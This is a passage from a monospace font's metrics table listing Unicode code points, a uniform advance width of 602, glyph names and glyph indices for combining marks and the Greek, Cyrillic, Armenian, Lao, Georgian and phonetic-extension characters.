U 774 ; WX 602 ; N uni0306 ; G 652
U 775 ; WX 602 ; N uni0307 ; G 653
U 776 ; WX 602 ; N uni0308 ; G 654
U 777 ; WX 602 ; N hookabovecomb ; G 655
U 778 ; WX 602 ; N uni030A ; G 656
U 779 ; WX 602 ; N uni030B ; G 657
U 780 ; WX 602 ; N uni030C ; G 658
U 781 ; WX 602 ; N uni030D ; G 659
U 782 ; WX 602 ; N uni030E ; G 660
U 783 ; WX 602 ; N uni030F ; G 661
U 784 ; WX 602 ; N uni0310 ; G 662
U 785 ; WX 602 ; N uni0311 ; G 663
U 786 ; WX 602 ; N uni0312 ; G 664
U 787 ; WX 602 ; N uni0313 ; G 665
U 788 ; WX 602 ; N uni0314 ; G 666
U 789 ; WX 602 ; N uni0315 ; G 667
U 790 ; WX 602 ; N uni0316 ; G 668
U 791 ; WX 602 ; N uni0317 ; G 669
U 792 ; WX 602 ; N uni0318 ; G 670
U 793 ; WX 602 ; N uni0319 ; G 671
U 794 ; WX 602 ; N uni031A ; G 672
U 795 ; WX 602 ; N uni031B ; G 673
U 796 ; WX 602 ; N uni031C ; G 674
U 797 ; WX 602 ; N uni031D ; G 675
U 798 ; WX 602 ; N uni031E ; G 676
U 799 ; WX 602 ; N uni031F ; G 677
U 800 ; WX 602 ; N uni0320 ; G 678
U 801 ; WX 602 ; N uni0321 ; G 679
U 802 ; WX 602 ; N uni0322 ; G 680
U 803 ; WX 602 ; N dotbelowcomb ; G 681
U 804 ; WX 602 ; N uni0324 ; G 682
U 805 ; WX 602 ; N uni0325 ; G 683
U 806 ; WX 602 ; N uni0326 ; G 684
U 807 ; WX 602 ; N uni0327 ; G 685
U 808 ; WX 602 ; N uni0328 ; G 686
U 809 ; WX 602 ; N uni0329 ; G 687
U 810 ; WX 602 ; N uni032A ; G 688
U 811 ; WX 602 ; N uni032B ; G 689
U 812 ; WX 602 ; N uni032C ; G 690
U 813 ; WX 602 ; N uni032D ; G 691
U 814 ; WX 602 ; N uni032E ; G 692
U 815 ; WX 602 ; N uni032F ; G 693
U 816 ; WX 602 ; N uni0330 ; G 694
U 817 ; WX 602 ; N uni0331 ; G 695
U 818 ; WX 602 ; N uni0332 ; G 696
U 819 ; WX 602 ; N uni0333 ; G 697
U 820 ; WX 602 ; N uni0334 ; G 698
U 821 ; WX 602 ; N uni0335 ; G 699
U 822 ; WX 602 ; N uni0336 ; G 700
U 823 ; WX 602 ; N uni0337 ; G 701
U 824 ; WX 602 ; N uni0338 ; G 702
U 825 ; WX 602 ; N uni0339 ; G 703
U 826 ; WX 602 ; N uni033A ; G 704
U 827 ; WX 602 ; N uni033B ; G 705
U 828 ; WX 602 ; N uni033C ; G 706
U 829 ; WX 602 ; N uni033D ; G 707
U 830 ; WX 602 ; N uni033E ; G 708
U 831 ; WX 602 ; N uni033F ; G 709
U 835 ; WX 602 ; N uni0343 ; G 710
U 856 ; WX 602 ; N uni0358 ; G 711
U 865 ; WX 602 ; N uni0361 ; G 712
U 884 ; WX 602 ; N uni0374 ; G 713
U 885 ; WX 602 ; N uni0375 ; G 714
U 886 ; WX 602 ; N uni0376 ; G 715
U 887 ; WX 602 ; N uni0377 ; G 716
U 890 ; WX 602 ; N uni037A ; G 717
U 891 ; WX 602 ; N uni037B ; G 718
U 892 ; WX 602 ; N uni037C ; G 719
U 893 ; WX 602 ; N uni037D ; G 720
U 894 ; WX 602 ; N uni037E ; G 721
U 895 ; WX 602 ; N uni037F ; G 722
U 900 ; WX 602 ; N tonos ; G 723
U 901 ; WX 602 ; N dieresistonos ; G 724
U 902 ; WX 602 ; N Alphatonos ; G 725
U 903 ; WX 602 ; N anoteleia ; G 726
U 904 ; WX 602 ; N Epsilontonos ; G 727
U 905 ; WX 602 ; N Etatonos ; G 728
U 906 ; WX 602 ; N Iotatonos ; G 729
U 908 ; WX 602 ; N Omicrontonos ; G 730
U 910 ; WX 602 ; N Upsilontonos ; G 731
U 911 ; WX 602 ; N Omegatonos ; G 732
U 912 ; WX 602 ; N iotadieresistonos ; G 733
U 913 ; WX 602 ; N Alpha ; G 734
U 914 ; WX 602 ; N Beta ; G 735
U 915 ; WX 602 ; N Gamma ; G 736
U 916 ; WX 602 ; N uni0394 ; G 737
U 917 ; WX 602 ; N Epsilon ; G 738
U 918 ; WX 602 ; N Zeta ; G 739
U 919 ; WX 602 ; N Eta ; G 740
U 920 ; WX 602 ; N Theta ; G 741
U 921 ; WX 602 ; N Iota ; G 742
U 922 ; WX 602 ; N Kappa ; G 743
U 923 ; WX 602 ; N Lambda ; G 744
U 924 ; WX 602 ; N Mu ; G 745
U 925 ; WX 602 ; N Nu ; G 746
U 926 ; WX 602 ; N Xi ; G 747
U 927 ; WX 602 ; N Omicron ; G 748
U 928 ; WX 602 ; N Pi ; G 749
U 929 ; WX 602 ; N Rho ; G 750
U 931 ; WX 602 ; N Sigma ; G 751
U 932 ; WX 602 ; N Tau ; G 752
U 933 ; WX 602 ; N Upsilon ; G 753
U 934 ; WX 602 ; N Phi ; G 754
U 935 ; WX 602 ; N Chi ; G 755
U 936 ; WX 602 ; N Psi ; G 756
U 937 ; WX 602 ; N Omega ; G 757
U 938 ; WX 602 ; N Iotadieresis ; G 758
U 939 ; WX 602 ; N Upsilondieresis ; G 759
U 940 ; WX 602 ; N alphatonos ; G 760
U 941 ; WX 602 ; N epsilontonos ; G 761
U 942 ; WX 602 ; N etatonos ; G 762
U 943 ; WX 602 ; N iotatonos ; G 763
U 944 ; WX 602 ; N upsilondieresistonos ; G 764
U 945 ; WX 602 ; N alpha ; G 765
U 946 ; WX 602 ; N beta ; G 766
U 947 ; WX 602 ; N gamma ; G 767
U 948 ; WX 602 ; N delta ; G 768
U 949 ; WX 602 ; N epsilon ; G 769
U 950 ; WX 602 ; N zeta ; G 770
U 951 ; WX 602 ; N eta ; G 771
U 952 ; WX 602 ; N theta ; G 772
U 953 ; WX 602 ; N iota ; G 773
U 954 ; WX 602 ; N kappa ; G 774
U 955 ; WX 602 ; N lambda ; G 775
U 956 ; WX 602 ; N uni03BC ; G 776
U 957 ; WX 602 ; N nu ; G 777
U 958 ; WX 602 ; N xi ; G 778
U 959 ; WX 602 ; N omicron ; G 779
U 960 ; WX 602 ; N pi ; G 780
U 961 ; WX 602 ; N rho ; G 781
U 962 ; WX 602 ; N sigma1 ; G 782
U 963 ; WX 602 ; N sigma ; G 783
U 964 ; WX 602 ; N tau ; G 784
U 965 ; WX 602 ; N upsilon ; G 785
U 966 ; WX 602 ; N phi ; G 786
U 967 ; WX 602 ; N chi ; G 787
U 968 ; WX 602 ; N psi ; G 788
U 969 ; WX 602 ; N omega ; G 789
U 970 ; WX 602 ; N iotadieresis ; G 790
U 971 ; WX 602 ; N upsilondieresis ; G 791
U 972 ; WX 602 ; N omicrontonos ; G 792
U 973 ; WX 602 ; N upsilontonos ; G 793
U 974 ; WX 602 ; N omegatonos ; G 794
U 976 ; WX 602 ; N uni03D0 ; G 795
U 977 ; WX 602 ; N theta1 ; G 796
U 978 ; WX 602 ; N Upsilon1 ; G 797
U 979 ; WX 602 ; N uni03D3 ; G 798
U 980 ; WX 602 ; N uni03D4 ; G 799
U 981 ; WX 602 ; N phi1 ; G 800
U 982 ; WX 602 ; N omega1 ; G 801
U 983 ; WX 602 ; N uni03D7 ; G 802
U 984 ; WX 602 ; N uni03D8 ; G 803
U 985 ; WX 602 ; N uni03D9 ; G 804
U 986 ; WX 602 ; N uni03DA ; G 805
U 987 ; WX 602 ; N uni03DB ; G 806
U 988 ; WX 602 ; N uni03DC ; G 807
U 989 ; WX 602 ; N uni03DD ; G 808
U 990 ; WX 602 ; N uni03DE ; G 809
U 991 ; WX 602 ; N uni03DF ; G 810
U 992 ; WX 602 ; N uni03E0 ; G 811
U 993 ; WX 602 ; N uni03E1 ; G 812
U 1008 ; WX 602 ; N uni03F0 ; G 813
U 1009 ; WX 602 ; N uni03F1 ; G 814
U 1010 ; WX 602 ; N uni03F2 ; G 815
U 1011 ; WX 602 ; N uni03F3 ; G 816
U 1012 ; WX 602 ; N uni03F4 ; G 817
U 1013 ; WX 602 ; N uni03F5 ; G 818
U 1014 ; WX 602 ; N uni03F6 ; G 819
U 1015 ; WX 602 ; N uni03F7 ; G 820
U 1016 ; WX 602 ; N uni03F8 ; G 821
U 1017 ; WX 602 ; N uni03F9 ; G 822
U 1018 ; WX 602 ; N uni03FA ; G 823
U 1019 ; WX 602 ; N uni03FB ; G 824
U 1020 ; WX 602 ; N uni03FC ; G 825
U 1021 ; WX 602 ; N uni03FD ; G 826
U 1022 ; WX 602 ; N uni03FE ; G 827
U 1023 ; WX 602 ; N uni03FF ; G 828
U 1024 ; WX 602 ; N uni0400 ; G 829
U 1025 ; WX 602 ; N uni0401 ; G 830
U 1026 ; WX 602 ; N uni0402 ; G 831
U 1027 ; WX 602 ; N uni0403 ; G 832
U 1028 ; WX 602 ; N uni0404 ; G 833
U 1029 ; WX 602 ; N uni0405 ; G 834
U 1030 ; WX 602 ; N uni0406 ; G 835
U 1031 ; WX 602 ; N uni0407 ; G 836
U 1032 ; WX 602 ; N uni0408 ; G 837
U 1033 ; WX 602 ; N uni0409 ; G 838
U 1034 ; WX 602 ; N uni040A ; G 839
U 1035 ; WX 602 ; N uni040B ; G 840
U 1036 ; WX 602 ; N uni040C ; G 841
U 1037 ; WX 602 ; N uni040D ; G 842
U 1038 ; WX 602 ; N uni040E ; G 843
U 1039 ; WX 602 ; N uni040F ; G 844
U 1040 ; WX 602 ; N uni0410 ; G 845
U 1041 ; WX 602 ; N uni0411 ; G 846
U 1042 ; WX 602 ; N uni0412 ; G 847
U 1043 ; WX 602 ; N uni0413 ; G 848
U 1044 ; WX 602 ; N uni0414 ; G 849
U 1045 ; WX 602 ; N uni0415 ; G 850
U 1046 ; WX 602 ; N uni0416 ; G 851
U 1047 ; WX 602 ; N uni0417 ; G 852
U 1048 ; WX 602 ; N uni0418 ; G 853
U 1049 ; WX 602 ; N uni0419 ; G 854
U 1050 ; WX 602 ; N uni041A ; G 855
U 1051 ; WX 602 ; N uni041B ; G 856
U 1052 ; WX 602 ; N uni041C ; G 857
U 1053 ; WX 602 ; N uni041D ; G 858
U 1054 ; WX 602 ; N uni041E ; G 859
U 1055 ; WX 602 ; N uni041F ; G 860
U 1056 ; WX 602 ; N uni0420 ; G 861
U 1057 ; WX 602 ; N uni0421 ; G 862
U 1058 ; WX 602 ; N uni0422 ; G 863
U 1059 ; WX 602 ; N uni0423 ; G 864
U 1060 ; WX 602 ; N uni0424 ; G 865
U 1061 ; WX 602 ; N uni0425 ; G 866
U 1062 ; WX 602 ; N uni0426 ; G 867
U 1063 ; WX 602 ; N uni0427 ; G 868
U 1064 ; WX 602 ; N uni0428 ; G 869
U 1065 ; WX 602 ; N uni0429 ; G 870
U 1066 ; WX 602 ; N uni042A ; G 871
U 1067 ; WX 602 ; N uni042B ; G 872
U 1068 ; WX 602 ; N uni042C ; G 873
U 1069 ; WX 602 ; N uni042D ; G 874
U 1070 ; WX 602 ; N uni042E ; G 875
U 1071 ; WX 602 ; N uni042F ; G 876
U 1072 ; WX 602 ; N uni0430 ; G 877
U 1073 ; WX 602 ; N uni0431 ; G 878
U 1074 ; WX 602 ; N uni0432 ; G 879
U 1075 ; WX 602 ; N uni0433 ; G 880
U 1076 ; WX 602 ; N uni0434 ; G 881
U 1077 ; WX 602 ; N uni0435 ; G 882
U 1078 ; WX 602 ; N uni0436 ; G 883
U 1079 ; WX 602 ; N uni0437 ; G 884
U 1080 ; WX 602 ; N uni0438 ; G 885
U 1081 ; WX 602 ; N uni0439 ; G 886
U 1082 ; WX 602 ; N uni043A ; G 887
U 1083 ; WX 602 ; N uni043B ; G 888
U 1084 ; WX 602 ; N uni043C ; G 889
U 1085 ; WX 602 ; N uni043D ; G 890
U 1086 ; WX 602 ; N uni043E ; G 891
U 1087 ; WX 602 ; N uni043F ; G 892
U 1088 ; WX 602 ; N uni0440 ; G 893
U 1089 ; WX 602 ; N uni0441 ; G 894
U 1090 ; WX 602 ; N uni0442 ; G 895
U 1091 ; WX 602 ; N uni0443 ; G 896
U 1092 ; WX 602 ; N uni0444 ; G 897
U 1093 ; WX 602 ; N uni0445 ; G 898
U 1094 ; WX 602 ; N uni0446 ; G 899
U 1095 ; WX 602 ; N uni0447 ; G 900
U 1096 ; WX 602 ; N uni0448 ; G 901
U 1097 ; WX 602 ; N uni0449 ; G 902
U 1098 ; WX 602 ; N uni044A ; G 903
U 1099 ; WX 602 ; N uni044B ; G 904
U 1100 ; WX 602 ; N uni044C ; G 905
U 1101 ; WX 602 ; N uni044D ; G 906
U 1102 ; WX 602 ; N uni044E ; G 907
U 1103 ; WX 602 ; N uni044F ; G 908
U 1104 ; WX 602 ; N uni0450 ; G 909
U 1105 ; WX 602 ; N uni0451 ; G 910
U 1106 ; WX 602 ; N uni0452 ; G 911
U 1107 ; WX 602 ; N uni0453 ; G 912
U 1108 ; WX 602 ; N uni0454 ; G 913
U 1109 ; WX 602 ; N uni0455 ; G 914
U 1110 ; WX 602 ; N uni0456 ; G 915
U 1111 ; WX 602 ; N uni0457 ; G 916
U 1112 ; WX 602 ; N uni0458 ; G 917
U 1113 ; WX 602 ; N uni0459 ; G 918
U 1114 ; WX 602 ; N uni045A ; G 919
U 1115 ; WX 602 ; N uni045B ; G 920
U 1116 ; WX 602 ; N uni045C ; G 921
U 1117 ; WX 602 ; N uni045D ; G 922
U 1118 ; WX 602 ; N uni045E ; G 923
U 1119 ; WX 602 ; N uni045F ; G 924
U 1122 ; WX 602 ; N uni0462 ; G 925
U 1123 ; WX 602 ; N uni0463 ; G 926
U 1138 ; WX 602 ; N uni0472 ; G 927
U 1139 ; WX 602 ; N uni0473 ; G 928
U 1168 ; WX 602 ; N uni0490 ; G 929
U 1169 ; WX 602 ; N uni0491 ; G 930
U 1170 ; WX 602 ; N uni0492 ; G 931
U 1171 ; WX 602 ; N uni0493 ; G 932
U 1172 ; WX 602 ; N uni0494 ; G 933
U 1173 ; WX 602 ; N uni0495 ; G 934
U 1174 ; WX 602 ; N uni0496 ; G 935
U 1175 ; WX 602 ; N uni0497 ; G 936
U 1176 ; WX 602 ; N uni0498 ; G 937
U 1177 ; WX 602 ; N uni0499 ; G 938
U 1178 ; WX 602 ; N uni049A ; G 939
U 1179 ; WX 602 ; N uni049B ; G 940
U 1186 ; WX 602 ; N uni04A2 ; G 941
U 1187 ; WX 602 ; N uni04A3 ; G 942
U 1188 ; WX 602 ; N uni04A4 ; G 943
U 1189 ; WX 602 ; N uni04A5 ; G 944
U 1194 ; WX 602 ; N uni04AA ; G 945
U 1195 ; WX 602 ; N uni04AB ; G 946
U 1196 ; WX 602 ; N uni04AC ; G 947
U 1197 ; WX 602 ; N uni04AD ; G 948
U 1198 ; WX 602 ; N uni04AE ; G 949
U 1199 ; WX 602 ; N uni04AF ; G 950
U 1200 ; WX 602 ; N uni04B0 ; G 951
U 1201 ; WX 602 ; N uni04B1 ; G 952
U 1202 ; WX 602 ; N uni04B2 ; G 953
U 1203 ; WX 602 ; N uni04B3 ; G 954
U 1210 ; WX 602 ; N uni04BA ; G 955
U 1211 ; WX 602 ; N uni04BB ; G 956
U 1216 ; WX 602 ; N uni04C0 ; G 957
U 1217 ; WX 602 ; N uni04C1 ; G 958
U 1218 ; WX 602 ; N uni04C2 ; G 959
U 1219 ; WX 602 ; N uni04C3 ; G 960
U 1220 ; WX 602 ; N uni04C4 ; G 961
U 1223 ; WX 602 ; N uni04C7 ; G 962
U 1224 ; WX 602 ; N uni04C8 ; G 963
U 1227 ; WX 602 ; N uni04CB ; G 964
U 1228 ; WX 602 ; N uni04CC ; G 965
U 1231 ; WX 602 ; N uni04CF ; G 966
U 1232 ; WX 602 ; N uni04D0 ; G 967
U 1233 ; WX 602 ; N uni04D1 ; G 968
U 1234 ; WX 602 ; N uni04D2 ; G 969
U 1235 ; WX 602 ; N uni04D3 ; G 970
U 1236 ; WX 602 ; N uni04D4 ; G 971
U 1237 ; WX 602 ; N uni04D5 ; G 972
U 1238 ; WX 602 ; N uni04D6 ; G 973
U 1239 ; WX 602 ; N uni04D7 ; G 974
U 1240 ; WX 602 ; N uni04D8 ; G 975
U 1241 ; WX 602 ; N uni04D9 ; G 976
U 1242 ; WX 602 ; N uni04DA ; G 977
U 1243 ; WX 602 ; N uni04DB ; G 978
U 1244 ; WX 602 ; N uni04DC ; G 979
U 1245 ; WX 602 ; N uni04DD ; G 980
U 1246 ; WX 602 ; N uni04DE ; G 981
U 1247 ; WX 602 ; N uni04DF ; G 982
U 1248 ; WX 602 ; N uni04E0 ; G 983
U 1249 ; WX 602 ; N uni04E1 ; G 984
U 1250 ; WX 602 ; N uni04E2 ; G 985
U 1251 ; WX 602 ; N uni04E3 ; G 986
U 1252 ; WX 602 ; N uni04E4 ; G 987
U 1253 ; WX 602 ; N uni04E5 ; G 988
U 1254 ; WX 602 ; N uni04E6 ; G 989
U 1255 ; WX 602 ; N uni04E7 ; G 990
U 1256 ; WX 602 ; N uni04E8 ; G 991
U 1257 ; WX 602 ; N uni04E9 ; G 992
U 1258 ; WX 602 ; N uni04EA ; G 993
U 1259 ; WX 602 ; N uni04EB ; G 994
U 1260 ; WX 602 ; N uni04EC ; G 995
U 1261 ; WX 602 ; N uni04ED ; G 996
U 1262 ; WX 602 ; N uni04EE ; G 997
U 1263 ; WX 602 ; N uni04EF ; G 998
U 1264 ; WX 602 ; N uni04F0 ; G 999
U 1265 ; WX 602 ; N uni04F1 ; G 1000
U 1266 ; WX 602 ; N uni04F2 ; G 1001
U 1267 ; WX 602 ; N uni04F3 ; G 1002
U 1268 ; WX 602 ; N uni04F4 ; G 1003
U 1269 ; WX 602 ; N uni04F5 ; G 1004
U 1270 ; WX 602 ; N uni04F6 ; G 1005
U 1271 ; WX 602 ; N uni04F7 ; G 1006
U 1272 ; WX 602 ; N uni04F8 ; G 1007
U 1273 ; WX 602 ; N uni04F9 ; G 1008
U 1296 ; WX 602 ; N uni0510 ; G 1009
U 1297 ; WX 602 ; N uni0511 ; G 1010
U 1306 ; WX 602 ; N uni051A ; G 1011
U 1307 ; WX 602 ; N uni051B ; G 1012
U 1308 ; WX 602 ; N uni051C ; G 1013
U 1309 ; WX 602 ; N uni051D ; G 1014
U 1329 ; WX 602 ; N uni0531 ; G 1015
U 1330 ; WX 602 ; N uni0532 ; G 1016
U 1331 ; WX 602 ; N uni0533 ; G 1017
U 1332 ; WX 602 ; N uni0534 ; G 1018
U 1333 ; WX 602 ; N uni0535 ; G 1019
U 1334 ; WX 602 ; N uni0536 ; G 1020
U 1335 ; WX 602 ; N uni0537 ; G 1021
U 1336 ; WX 602 ; N uni0538 ; G 1022
U 1337 ; WX 602 ; N uni0539 ; G 1023
U 1338 ; WX 602 ; N uni053A ; G 1024
U 1339 ; WX 602 ; N uni053B ; G 1025
U 1340 ; WX 602 ; N uni053C ; G 1026
U 1341 ; WX 602 ; N uni053D ; G 1027
U 1342 ; WX 602 ; N uni053E ; G 1028
U 1343 ; WX 602 ; N uni053F ; G 1029
U 1344 ; WX 602 ; N uni0540 ; G 1030
U 1345 ; WX 602 ; N uni0541 ; G 1031
U 1346 ; WX 602 ; N uni0542 ; G 1032
U 1347 ; WX 602 ; N uni0543 ; G 1033
U 1348 ; WX 602 ; N uni0544 ; G 1034
U 1349 ; WX 602 ; N uni0545 ; G 1035
U 1350 ; WX 602 ; N uni0546 ; G 1036
U 1351 ; WX 602 ; N uni0547 ; G 1037
U 1352 ; WX 602 ; N uni0548 ; G 1038
U 1353 ; WX 602 ; N uni0549 ; G 1039
U 1354 ; WX 602 ; N uni054A ; G 1040
U 1355 ; WX 602 ; N uni054B ; G 1041
U 1356 ; WX 602 ; N uni054C ; G 1042
U 1357 ; WX 602 ; N uni054D ; G 1043
U 1358 ; WX 602 ; N uni054E ; G 1044
U 1359 ; WX 602 ; N uni054F ; G 1045
U 1360 ; WX 602 ; N uni0550 ; G 1046
U 1361 ; WX 602 ; N uni0551 ; G 1047
U 1362 ; WX 602 ; N uni0552 ; G 1048
U 1363 ; WX 602 ; N uni0553 ; G 1049
U 1364 ; WX 602 ; N uni0554 ; G 1050
U 1365 ; WX 602 ; N uni0555 ; G 1051
U 1366 ; WX 602 ; N uni0556 ; G 1052
U 1369 ; WX 602 ; N uni0559 ; G 1053
U 1370 ; WX 602 ; N uni055A ; G 1054
U 1371 ; WX 602 ; N uni055B ; G 1055
U 1372 ; WX 602 ; N uni055C ; G 1056
U 1373 ; WX 602 ; N uni055D ; G 1057
U 1374 ; WX 602 ; N uni055E ; G 1058
U 1375 ; WX 602 ; N uni055F ; G 1059
U 1377 ; WX 602 ; N uni0561 ; G 1060
U 1378 ; WX 602 ; N uni0562 ; G 1061
U 1379 ; WX 602 ; N uni0563 ; G 1062
U 1380 ; WX 602 ; N uni0564 ; G 1063
U 1381 ; WX 602 ; N uni0565 ; G 1064
U 1382 ; WX 602 ; N uni0566 ; G 1065
U 1383 ; WX 602 ; N uni0567 ; G 1066
U 1384 ; WX 602 ; N uni0568 ; G 1067
U 1385 ; WX 602 ; N uni0569 ; G 1068
U 1386 ; WX 602 ; N uni056A ; G 1069
U 1387 ; WX 602 ; N uni056B ; G 1070
U 1388 ; WX 602 ; N uni056C ; G 1071
U 1389 ; WX 602 ; N uni056D ; G 1072
U 1390 ; WX 602 ; N uni056E ; G 1073
U 1391 ; WX 602 ; N uni056F ; G 1074
U 1392 ; WX 602 ; N uni0570 ; G 1075
U 1393 ; WX 602 ; N uni0571 ; G 1076
U 1394 ; WX 602 ; N uni0572 ; G 1077
U 1395 ; WX 602 ; N uni0573 ; G 1078
U 1396 ; WX 602 ; N uni0574 ; G 1079
U 1397 ; WX 602 ; N uni0575 ; G 1080
U 1398 ; WX 602 ; N uni0576 ; G 1081
U 1399 ; WX 602 ; N uni0577 ; G 1082
U 1400 ; WX 602 ; N uni0578 ; G 1083
U 1401 ; WX 602 ; N uni0579 ; G 1084
U 1402 ; WX 602 ; N uni057A ; G 1085
U 1403 ; WX 602 ; N uni057B ; G 1086
U 1404 ; WX 602 ; N uni057C ; G 1087
U 1405 ; WX 602 ; N uni057D ; G 1088
U 1406 ; WX 602 ; N uni057E ; G 1089
U 1407 ; WX 602 ; N uni057F ; G 1090
U 1408 ; WX 602 ; N uni0580 ; G 1091
U 1409 ; WX 602 ; N uni0581 ; G 1092
U 1410 ; WX 602 ; N uni0582 ; G 1093
U 1411 ; WX 602 ; N uni0583 ; G 1094
U 1412 ; WX 602 ; N uni0584 ; G 1095
U 1413 ; WX 602 ; N uni0585 ; G 1096
U 1414 ; WX 602 ; N uni0586 ; G 1097
U 1415 ; WX 602 ; N uni0587 ; G 1098
U 1417 ; WX 602 ; N uni0589 ; G 1099
U 1418 ; WX 602 ; N uni058A ; G 1100
U 3647 ; WX 602 ; N uni0E3F ; G 1101
U 3713 ; WX 602 ; N uni0E81 ; G 1102
U 3714 ; WX 602 ; N uni0E82 ; G 1103
U 3716 ; WX 602 ; N uni0E84 ; G 1104
U 3719 ; WX 602 ; N uni0E87 ; G 1105
U 3720 ; WX 602 ; N uni0E88 ; G 1106
U 3722 ; WX 602 ; N uni0E8A ; G 1107
U 3725 ; WX 602 ; N uni0E8D ; G 1108
U 3732 ; WX 602 ; N uni0E94 ; G 1109
U 3733 ; WX 602 ; N uni0E95 ; G 1110
U 3734 ; WX 602 ; N uni0E96 ; G 1111
U 3735 ; WX 602 ; N uni0E97 ; G 1112
U 3737 ; WX 602 ; N uni0E99 ; G 1113
U 3738 ; WX 602 ; N uni0E9A ; G 1114
U 3739 ; WX 602 ; N uni0E9B ; G 1115
U 3740 ; WX 602 ; N uni0E9C ; G 1116
U 3741 ; WX 602 ; N uni0E9D ; G 1117
U 3742 ; WX 602 ; N uni0E9E ; G 1118
U 3743 ; WX 602 ; N uni0E9F ; G 1119
U 3745 ; WX 602 ; N uni0EA1 ; G 1120
U 3746 ; WX 602 ; N uni0EA2 ; G 1121
U 3747 ; WX 602 ; N uni0EA3 ; G 1122
U 3749 ; WX 602 ; N uni0EA5 ; G 1123
U 3751 ; WX 602 ; N uni0EA7 ; G 1124
U 3754 ; WX 602 ; N uni0EAA ; G 1125
U 3755 ; WX 602 ; N uni0EAB ; G 1126
U 3757 ; WX 602 ; N uni0EAD ; G 1127
U 3758 ; WX 602 ; N uni0EAE ; G 1128
U 3759 ; WX 602 ; N uni0EAF ; G 1129
U 3760 ; WX 602 ; N uni0EB0 ; G 1130
U 3761 ; WX 602 ; N uni0EB1 ; G 1131
U 3762 ; WX 602 ; N uni0EB2 ; G 1132
U 3763 ; WX 602 ; N uni0EB3 ; G 1133
U 3764 ; WX 602 ; N uni0EB4 ; G 1134
U 3765 ; WX 602 ; N uni0EB5 ; G 1135
U 3766 ; WX 602 ; N uni0EB6 ; G 1136
U 3767 ; WX 602 ; N uni0EB7 ; G 1137
U 3768 ; WX 602 ; N uni0EB8 ; G 1138
U 3769 ; WX 602 ; N uni0EB9 ; G 1139
U 3771 ; WX 602 ; N uni0EBB ; G 1140
U 3772 ; WX 602 ; N uni0EBC ; G 1141
U 3784 ; WX 602 ; N uni0EC8 ; G 1142
U 3785 ; WX 602 ; N uni0EC9 ; G 1143
U 3786 ; WX 602 ; N uni0ECA ; G 1144
U 3787 ; WX 602 ; N uni0ECB ; G 1145
U 3788 ; WX 602 ; N uni0ECC ; G 1146
U 3789 ; WX 602 ; N uni0ECD ; G 1147
U 4304 ; WX 602 ; N uni10D0 ; G 1148
U 4305 ; WX 602 ; N uni10D1 ; G 1149
U 4306 ; WX 602 ; N uni10D2 ; G 1150
U 4307 ; WX 602 ; N uni10D3 ; G 1151
U 4308 ; WX 602 ; N uni10D4 ; G 1152
U 4309 ; WX 602 ; N uni10D5 ; G 1153
U 4310 ; WX 602 ; N uni10D6 ; G 1154
U 4311 ; WX 602 ; N uni10D7 ; G 1155
U 4312 ; WX 602 ; N uni10D8 ; G 1156
U 4313 ; WX 602 ; N uni10D9 ; G 1157
U 4314 ; WX 602 ; N uni10DA ; G 1158
U 4315 ; WX 602 ; N uni10DB ; G 1159
U 4316 ; WX 602 ; N uni10DC ; G 1160
U 4317 ; WX 602 ; N uni10DD ; G 1161
U 4318 ; WX 602 ; N uni10DE ; G 1162
U 4319 ; WX 602 ; N uni10DF ; G 1163
U 4320 ; WX 602 ; N uni10E0 ; G 1164
U 4321 ; WX 602 ; N uni10E1 ; G 1165
U 4322 ; WX 602 ; N uni10E2 ; G 1166
U 4323 ; WX 602 ; N uni10E3 ; G 1167
U 4324 ; WX 602 ; N uni10E4 ; G 1168
U 4325 ; WX 602 ; N uni10E5 ; G 1169
U 4326 ; WX 602 ; N uni10E6 ; G 1170
U 4327 ; WX 602 ; N uni10E7 ; G 1171
U 4328 ; WX 602 ; N uni10E8 ; G 1172
U 4329 ; WX 602 ; N uni10E9 ; G 1173
U 4330 ; WX 602 ; N uni10EA ; G 1174
U 4331 ; WX 602 ; N uni10EB ; G 1175
U 4332 ; WX 602 ; N uni10EC ; G 1176
U 4333 ; WX 602 ; N uni10ED ; G 1177
U 4334 ; WX 602 ; N uni10EE ; G 1178
U 4335 ; WX 602 ; N uni10EF ; G 1179
U 4336 ; WX 602 ; N uni10F0 ; G 1180
U 4337 ; WX 602 ; N uni10F1 ; G 1181
U 4338 ; WX 602 ; N uni10F2 ; G 1182
U 4339 ; WX 602 ; N uni10F3 ; G 1183
U 4340 ; WX 602 ; N uni10F4 ; G 1184
U 4341 ; WX 602 ; N uni10F5 ; G 1185
U 4342 ; WX 602 ; N uni10F6 ; G 1186
U 4343 ; WX 602 ; N uni10F7 ; G 1187
U 4344 ; WX 602 ; N uni10F8 ; G 1188
U 4345 ; WX 602 ; N uni10F9 ; G 1189
U 4346 ; WX 602 ; N uni10FA ; G 1190
U 4347 ; WX 602 ; N uni10FB ; G 1191
U 4348 ; WX 602 ; N uni10FC ; G 1192
U 7426 ; WX 602 ; N uni1D02 ; G 1193
U 7432 ; WX 602 ; N uni1D08 ; G 1194
U 7433 ; WX 602 ; N uni1D09 ; G 1195
U 7444 ; WX 602 ; N uni1D14 ; G 1196
U 7446 ; WX 602 ; N uni1D16 ; G 1197
U 7447 ; WX 602 ; N uni1D17 ; G 1198
U 7453 ; WX 602 ; N uni1D1D ; G 1199
U 7454 ; WX 602 ; N uni1D1E ; G 1200
U 7455 ; WX 602 ; N uni1D1F ; G 1201
U 7468 ; WX 602 ; N uni1D2C ; G 1202
U 7469 ; WX 602 ; N uni1D2D ; G 1203
U 7470 ; WX 602 ; N uni1D2E ; G 1204
U 7472 ; WX 602 ; N uni1D30 ; G 1205
U 7473 ; WX 602 ; N uni1D31 ; G 1206
U 7474 ; WX 602 ; N uni1D32 ; G 1207
U 7475 ; WX 602 ; N uni1D33 ; G 1208
U 7476 ; WX 602 ; N uni1D34 ; G 1209
U 7477 ; WX 602 ; N uni1D35 ; G 1210
U 7478 ; WX 602 ; N uni1D36 ; G 1211
U 7479 ; WX 602 ; N uni1D37 ; G 1212
U 7480 ; WX 602 ; N uni1D38 ; G 1213
U 7481 ; WX 602 ; N uni1D39 ; G 1214
U 7482 ; WX 602 ; N uni1D3A ; G 1215
U 7483 ; WX 602 ; N uni1D3B ; G 1216
U 7484 ; WX 602 ; N uni1D3C ; G 1217
U 7486 ; WX 602 ; N uni1D3E ; G 1218
U 7487 ; WX 602 ; N uni1D3F ; G 1219
U 7488 ; WX 602 ; N uni1D40 ; G 1220
U 7489 ; WX 602 ; N uni1D41 ; G 1221
U 7490 ; WX 602 ; N uni1D42 ; G 1222
U 7491 ; WX 602 ; N uni1D43 ; G 1223
U 7492 ; WX 602 ; N uni1D44 ; G 1224
